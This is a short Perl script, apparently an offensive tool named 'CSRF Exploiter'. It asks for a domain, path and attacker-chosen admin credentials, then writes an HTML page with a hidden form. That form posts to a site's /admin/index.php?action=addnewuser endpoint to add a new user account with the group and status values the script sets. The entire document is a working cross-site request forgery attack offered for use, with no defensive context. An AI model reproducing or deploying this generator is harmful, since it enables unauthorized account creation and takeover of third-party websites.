[ CSRF Exploiter ]

#!/usr/bin/perl
print "\n";
print q(CSRF Exploiter);
print "\n";
print "Save result(s) as :";
$safe=<STDIN>;
print "Admin Username :";
$ad=<STDIN>;
print "Admin Password :";
$ps=<STDIN>;
print "Admin Email :";
$em=<STDIN>;
print "Domain :";
$ho=<STDIN>;
print "Add path, such as /admin/ or /admin.php\n (Leave blank if no path) :";
$ph=<STDIN>;
open(CREATE,">>$safe");
print CREATE "
<HTML><HEAD><TITLE> CSRF Exploiter</TITLE>
<form action='http://$ho/$ph/admin/index.php?action=addnewuser' method='POST' name='form'>
<input type='hidden' value='$ad' name='eusername' ></td>
<input type='hidden' value='$ps' name='euserpassword' ></td>
<input type='hidden' value='$em' name='euseremail' >
<select name='eusergroup'><option value='2'></option></select></td>
<select name='euserstatus'><option value='1'></option></select></td>
<input type='submit' name='submit' value='add' ></td>";
close(CREATE);
print "Finished\n";
print "\n\n";